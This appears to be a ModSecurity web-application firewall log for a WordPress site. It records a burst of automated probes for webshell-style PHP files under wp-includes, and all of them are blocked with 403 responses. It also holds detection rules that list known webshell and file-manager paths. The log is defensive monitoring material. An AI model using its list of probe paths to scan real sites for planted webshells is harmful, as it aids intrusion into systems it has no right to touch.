[Sun Nov 23 16:44:13.198400 2025] [:error] [pid 38739:tid 38771] [client 140.99.1.24:23513] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSLJXQdvEgJm2n2cDmovuAAAAEI"]
[Sun Nov 23 16:44:14.111699 2025] [:error] [pid 38738:tid 38763] [client 140.99.1.76:56223] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aSLJXgytc6TL9XavPmMCBwAAABU"]
[Sun Nov 23 16:44:14.682042 2025] [:error] [pid 38738:tid 38763] [client 140.99.1.8:33715] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSLJXgytc6TL9XavPmMCFAAAABU"]
[Sun Nov 23 16:44:15.943007 2025] [:error] [pid 38739:tid 38769] [client 140.99.1.71:35653] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aSLJXwdvEgJm2n2cDmov8wAAAEA"]
[Sun Nov 23 16:44:16.261587 2025] [:error] [pid 38738:tid 38744] [client 140.99.1.75:45537] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aSLJYAytc6TL9XavPmMCOAAAAAI"]
[Sun Nov 23 16:44:16.506385 2025] [:error] [pid 38738:tid 38745] [client 140.99.1.46:56271] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aSLJYAytc6TL9XavPmMCPQAAAAM"]
[Sun Nov 23 16:44:16.732949 2025] [:error] [pid 44652:tid 44709] [client 140.99.1.32:51667] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aSLJYNiQFwsyXQDhwyCzZQAAAQM"]
[Sun Nov 23 16:44:17.299506 2025] [:error] [pid 38740:tid 38805] [client 140.99.1.47:33659] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aSLJYQ13QPZSi6O8umWeEgAAAIk"]
[Sun Nov 23 16:44:17.689626 2025] [:error] [pid 16066:tid 16090] [client 140.99.1.6:24785] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSLJYfq-c47Q5mW5E9Fv1QAAAZU"]
[Sun Nov 23 16:44:18.178183 2025] [:error] [pid 44652:tid 44720] [client 140.99.1.44:21809] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSLJYtiQFwsyXQDhwyCzdAAAAQ4"]
[Sun Nov 23 16:44:18.465134 2025] [:error] [pid 14602:tid 14639] [client 140.99.1.63:29589] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSLJYh-I77jdD81pU-mfQAAAAVI"]
[Sun Nov 23 16:44:18.747316 2025] [:error] [pid 14602:tid 14634] [client 140.99.1.47:48707] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aSLJYh-I77jdD81pU-mfTAAAAU0"]
[Sun Nov 23 16:44:19.069945 2025] [:error] [pid 38824:tid 38850] [client 140.99.1.50:42025] [client 140.99.1.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aSLJY08WZjXLvbHTHPe66AAAANc"]
[Sun Nov 23 16:44:19.433267 2025] [:error] [pid 38740:tid 38804] [client 140.99.1.49:46115] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSLJYw13QPZSi6O8umWePwAAAIg"]
[Sun Nov 23 16:44:20.039043 2025] [:error] [pid 38739:tid 38790] [client 140.99.1.67:22573] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSLJZAdvEgJm2n2cDmowPgAAAFU"]
[Sun Nov 23 16:44:21.220985 2025] [:error] [pid 38740:tid 38819] [client 140.99.1.10:46881] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aSLJZQ13QPZSi6O8umWedgAAAJc"]
[Sun Nov 23 16:44:22.442954 2025] [:error] [pid 44652:tid 44706] [client 140.99.1.68:24591] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSLJZtiQFwsyXQDhwyCzzQAAAQA"]
[Sun Nov 23 16:44:23.220644 2025] [:error] [pid 38739:tid 38786] [client 140.99.1.8:28671] [client 140.99.1.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aSLJZwdvEgJm2n2cDmowigAAAFE"]
[Sun Nov 23 16:44:23.619171 2025] [:error] [pid 38738:tid 38755] [client 140.99.1.37:29409] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aSLJZwytc6TL9XavPmMCiwAAAA0"]
[Sun Nov 23 16:44:24.402847 2025] [:error] [pid 38824:tid 38849] [client 140.99.1.32:23461] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSLJaE8WZjXLvbHTHPe7TwAAANY"]
[Sun Nov 23 16:44:25.096677 2025] [proxy_fcgi:error] [pid 38824:tid 38849] [client 140.99.1.32:44539] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:44:25.237662 2025] [proxy_fcgi:error] [pid 38824:tid 38831] [client 140.99.1.32:44539] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:44:25.434887 2025] [proxy_fcgi:error] [pid 38824:tid 38836] [client 140.99.1.32:44539] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:44:26.221340 2025] [:error] [pid 38824:tid 38836] [client 140.99.1.32:44539] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSLJak8WZjXLvbHTHPe7hQAAAMk"]
[Sun Nov 23 16:44:26.438204 2025] [:error] [pid 44652:tid 44719] [client 140.99.1.72:35961] [client 140.99.1.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aSLJatiQFwsyXQDhwyC0GQAAAQ0"]
[Sun Nov 23 16:44:27.352994 2025] [:error] [pid 44652:tid 44717] [client 140.99.1.78:37541] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aSLJa9iQFwsyXQDhwyC0IgAAAQs"]
[Sun Nov 23 16:44:27.764916 2025] [:error] [pid 38824:tid 38847] [client 140.99.1.78:58241] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aSLJa08WZjXLvbHTHPe7nQAAANQ"]
[Sun Nov 23 16:44:28.023919 2025] [:error] [pid 38824:tid 38842] [client 140.99.1.6:54591] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aSLJa08WZjXLvbHTHPe7nwAAAM8"]
[Sun Nov 23 16:44:28.280538 2025] [:error] [pid 16066:tid 16085] [client 140.99.1.75:40781] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSLJbPq-c47Q5mW5E9FwzwAAAZA"]
[Sun Nov 23 16:44:28.807100 2025] [:error] [pid 44652:tid 44714] [client 140.99.1.77:57001] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSLJbNiQFwsyXQDhwyC0PQAAAQg"]
[Sun Nov 23 16:44:30.058115 2025] [:error] [pid 38739:tid 38782] [client 140.99.1.69:31943] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aSLJbgdvEgJm2n2cDmoxMQAAAE0"]
[Sun Nov 23 16:44:30.253216 2025] [:error] [pid 16066:tid 16077] [client 140.99.1.33:29891] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aSLJbvq-c47Q5mW5E9FxAAAAAYg"]
[Sun Nov 23 16:44:30.465354 2025] [:error] [pid 16066:tid 16081] [client 140.99.1.27:27295] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aSLJbvq-c47Q5mW5E9FxBQAAAYw"]
[Sun Nov 23 16:44:31.131649 2025] [:error] [pid 38824:tid 38843] [client 140.99.1.46:46273] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aSLJb08WZjXLvbHTHPe72QAAANA"]
[Sun Nov 23 16:44:31.575918 2025] [:error] [pid 38740:tid 38807] [client 140.99.1.69:58599] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aSLJbw13QPZSi6O8umWfRwAAAIs"]
[Sun Nov 23 16:44:32.014230 2025] [:error] [pid 38740:tid 38808] [client 140.99.1.73:55509] [client 140.99.1.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aSLJcA13QPZSi6O8umWfVQAAAIw"]
[Sun Nov 23 16:44:41.125772 2025] [:error] [pid 38740:tid 38807] [client 140.99.1.18:27657] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSLJeQ13QPZSi6O8umWgcgAAAIs"]
[Sun Nov 23 16:44:42.801392 2025] [:error] [pid 14602:tid 14645] [client 140.99.1.32:62111] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSLJeh-I77jdD81pU-mg-wAAAVg"]
[Sun Nov 23 16:44:43.833309 2025] [:error] [pid 44652:tid 44723] [client 140.99.1.5:60443] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSLJe9iQFwsyXQDhwyC1pgAAARE"]
[Sun Nov 23 16:44:44.231032 2025] [:error] [pid 38739:tid 38790] [client 140.99.1.76:43535] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSLJfAdvEgJm2n2cDmoydQAAAFU"]
[Sun Nov 23 16:44:46.639635 2025] [:error] [pid 38740:tid 38817] [client 140.99.1.7:21409] [client 140.99.1.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aSLJfg13QPZSi6O8umWg5AAAAJU"]
[Sun Nov 23 16:44:47.028150 2025] [:error] [pid 38824:tid 38843] [client 140.99.1.17:45031] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSLJfk8WZjXLvbHTHPe8sQAAANA"]
[Sun Nov 23 16:44:47.263842 2025] [:error] [pid 14602:tid 14638] [client 140.99.1.49:30259] [client 140.99.1.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.49, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSLJfx-I77jdD81pU-mhVAAAAVE"]
[Sun Nov 23 16:44:47.586238 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.49:30259] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aSLJfx-I77jdD81pU-mhWQAAAVM"]
[Sun Nov 23 16:44:49.115796 2025] [:error] [pid 38739:tid 38773] [client 140.99.1.74:57581] [client 140.99.1.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aSLJgQdvEgJm2n2cDmoyyAAAAEQ"]
[Sun Nov 23 16:44:49.363966 2025] [:error] [pid 38740:tid 38819] [client 140.99.1.44:59235] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSLJgQ13QPZSi6O8umWhQwAAAJc"]
[Sun Nov 23 16:44:50.142456 2025] [:error] [pid 44652:tid 44720] [client 140.99.1.76:58945] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSLJgtiQFwsyXQDhwyC2cQAAAQ4"]
[Sun Nov 23 16:44:50.404524 2025] [:error] [pid 16066:tid 16083] [client 140.99.1.78:28639] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aSLJgvq-c47Q5mW5E9FyjQAAAY4"]
[Sun Nov 23 16:44:52.189609 2025] [:error] [pid 44652:tid 44720] [client 140.99.1.62:26483] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aSLJhNiQFwsyXQDhwyC2ogAAAQ4"]
[Sun Nov 23 16:44:52.798821 2025] [proxy_fcgi:error] [pid 14602:tid 14627] [client 140.99.1.32:49431] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:44:53.093543 2025] [:error] [pid 14602:tid 14625] [client 140.99.1.32:49431] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSLJhR-I77jdD81pU-mh1gAAAUQ"]
[Sun Nov 23 16:44:53.362589 2025] [:error] [pid 44652:tid 44714] [client 140.99.1.68:59973] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aSLJhdiQFwsyXQDhwyC2uQAAAQg"]
[Sun Nov 23 16:44:54.011306 2025] [:error] [pid 16066:tid 16086] [client 140.99.1.75:21617] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSLJhvq-c47Q5mW5E9Fy9wAAAZE"]
[Sun Nov 23 16:44:54.315141 2025] [:error] [pid 16066:tid 16086] [client 140.99.1.77:32261] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aSLJhvq-c47Q5mW5E9Fy-wAAAZE"]
